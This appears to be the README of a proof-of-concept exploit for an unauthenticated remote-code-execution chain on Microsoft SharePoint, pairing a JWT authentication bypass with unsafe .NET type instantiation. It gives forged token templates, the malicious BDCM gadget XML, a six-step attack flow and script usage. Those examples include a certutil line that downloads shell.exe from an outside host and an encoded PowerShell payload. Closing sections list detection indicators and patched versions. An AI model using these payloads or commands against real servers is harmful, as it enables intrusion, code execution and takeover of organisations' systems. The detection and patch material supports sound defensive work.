
Exploit chain for unauthenticated RCE on Microsoft SharePoint, combining a JWT authentication bypass with unsafe .NET type instantiation to achieve code execution as the service account.
Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed.
Stephen Fewer (Rapid7) demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck independently found an alternative gadget chain. Together, these two bugs give you unauthenticated remote code execution against any unpatched SharePoint on the internet.
CISA issued alerts within hours of the PoC dropping. It's being exploited in the wild.
Two bugs, one chain:
| CVE | Type | CVSS | What breaks |
|---|---|---|---|
| CVE-2026-55040 | JWT Authentication Bypass | 9.1 | SharePoint's S2S token validation has four independent weaknesses. Chain them and you forge a valid JWT for any user - including site admins - without knowing their password. |
| CVE-2026-63520 | Unsafe .NET Type Instantiation → RCE | 8.1 | Business Data Connectivity (BDC) resolves arbitrary .NET type names from uploaded XML without any allowlist. Point it at ObjectDataProvider and you get Process.Start(). |
Neither bug is interesting alone. CVE-2026-63520 requires authentication. CVE-2026-55040 gives you authentication. Together: unauthenticated RCE as the SharePoint service account.
SharePoint uses nested JWTs for server-to-server (S2S) auth. An outer token carries the user identity, an inner "actor token" represents the calling application. Four weaknesses in SPJsonWebSecurityTokenHandlerV2.ValidateToken() make the whole thing collapse:
Weakness 1 - Signature verification is off. The validator sets RequireSignedTokens = false. The outer token accepts alg: none. No signature needed.
Weakness 2 - x5t resolution without verification. The actor token's signing key is resolved by looking up the x5t (certificate thumbprint) header in the certificate store. SharePoint never checks whether the actor token's signature actually matches that key.
Weakness 3 - Issuer validation accepts unknown certs. ValidateIssuer() passes if the signing certificate isn't in the TrustedSecurityTokenServices collection. SharePoint's own STS cert isn't registered there. So referencing it via x5t passes issuer validation unconditionally.
Weakness 4 - Non-cryptographic signature check. GetTokenSignature() requires a non-empty string but does zero cryptographic validation. Any value works. AAAA works.
The STS certificate is public. You grab it from /_layouts/15/metadata/json/1 - an unauthenticated endpoint - compute the SHA-1 thumbprint, and you have everything you need.
Outer token (carries user identity):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<target SID or UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<inner JWT>"
}
// Signature: empty (alg:none)
Inner actor token (represents the "application"):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<STS cert thumbprint>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signature: "AAAA" (literally anything non-empty)
Three ways to pick an identity:
SharePoint's Business Data Connectivity service lets admins define external data sources through BDC Model XML files (.bdcm). These models specify .NET types that BDC instantiates at runtime.
The problem is in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // any type in the GAC
Type names under 15 characters go through a safe resolver. Anything longer calls Type.GetType() directly - which resolves any assembly-qualified type name from the Global Assembly Cache. No allowlist. No blocklist. The attacker controls abstractTypeName through the BDCM XML.
We use System.Windows.Data.ObjectDataProvider from PresentationFramework. When you set its ObjectInstance property, it invokes MethodName on that instance. Set MethodName = "Start" and ObjectInstance = System.Diagnostics.Process with a crafted StartInfo, and BDC's property-setter reflection does the rest:
ObjectDataProvider created
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ property setter triggers QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
The BDCM XML that carries this:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck documented an alternative chain using System.Web.UI.LosFormatter with TypeConfuseDelegate deserialization via a DotNetAssembly LobSystem. Multiple gadgets work - the underlying primitive is unrestricted type instantiation.
Attacker SharePoint Server
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS cert (x5t + realm) ─────────│ (unauthenticated)
│ │
│── SMB null session to DC ──────────────▶ Domain Controller
│◀── domain SID ────────────────────────│
│ │
│── Forge JWT (alg:none + AAAA sig) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: authed as admin
│ │
│── POST /_api/web/lists ────────────▶│ create BDC catalog
│── POST .../Files/add(evil.bdcm) ──▶│ upload gadget chain
│── POST /_vti_bin/client.svc/ ──────▶│ trigger ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → runs as SP service account
Six steps:
Grab the STS cert. Hit /_layouts/15/metadata/json/1. No auth needed. Extract the X.509 cert from keys[0].keyValue.value, SHA-1 hash it, base64url-encode. That's your x5t. The issuer field gives you the realm.
Find a site admin. SMB null session to the domain controller, LSARPC LsarQueryInformationPolicy to get the domain SID, then iterate RIDs (500, 1000-10000) forging a JWT for each until /_api/web/currentuser returns IsSiteAdmin: true. Or just supply a known UPN.
Forge the JWT. Outer: alg:none, nameid = admin SID, actortoken = inner JWT. Inner: alg:RS256, x5t = STS thumbprint, signature = AAAA. Base64url-encode, concatenate with dots. Done.
The August 2026 cumulative update adds ValidateSafeBcsType() to restrict which .NET types BDC can instantiate. The JWT fix adds proper signature verification and registers the STS cert in the trusted token services collection.
SharePoint 2016 mainstream support ended in 2026. Organizations without Extended Support may not receive the fix.
Install dependencies:
pip install requests
pip install impacket # only needed for --domain-ip auto-SID discovery
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
The script will:
x5t and realm from STS metadatapython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
You want to see Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. That confirms the JWT bypass works and you have admin-level access.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Things to look for:
alg: none hitting SharePoint endpoints. Legitimate S2S tokens always use RS256./_layouts/15/metadata/json/1 followed by authenticated API calls from the same source IP. The metadata endpoint is public, but reconnaissance followed by admin-level access is suspicious..bdcm files appearing in BusinessDataMetadataCatalog. Most SharePoint deployments don't use BDC at all. Any BDCM upload is worth investigating.ProcessQuery requests referencing unknown BDC entities, especially with ObjectDataProvider or LosFormatter in the entity type names.w3wp.exe (SharePoint application pool). cmd.exe, powershell.exe, certutil.exe as children of the worker process are classic indicators.For authorized security testing only. Get written permission before running this against anything you don't own.
| Mode | nameid | nii | What you need |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Domain SID (via SMB null session) + RID brute |
| UPN | upn_bypass + upn claim | urn:office:idp:activedirectory | A valid UPN (e.g. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nothing. Limited access but enough for some chains. |
Get a form digest. POST /_api/contextinfo with the forged Bearer token. SharePoint hands you a FormDigestValue for write operations.
Upload the BDCM. Create a BusinessDataMetadataCatalog library, upload the malicious .bdcm XML containing the ObjectDataProvider gadget chain.
Pull the trigger. POST /_vti_bin/client.svc/ProcessQuery with a request that resolves the BDC entity. SharePoint instantiates the types from the BDCM, sets properties via reflection, and ObjectDataProvider fires Process.Start(). Code runs as the SharePoint service account.
| Product | Vulnerable below | Patch | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | August 2026 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | August 2026 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | August 2026 SU | - |